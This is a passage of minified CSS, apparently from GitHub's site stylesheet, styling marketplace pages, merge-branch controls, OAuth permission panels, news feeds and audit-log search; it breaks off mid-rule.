.language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form 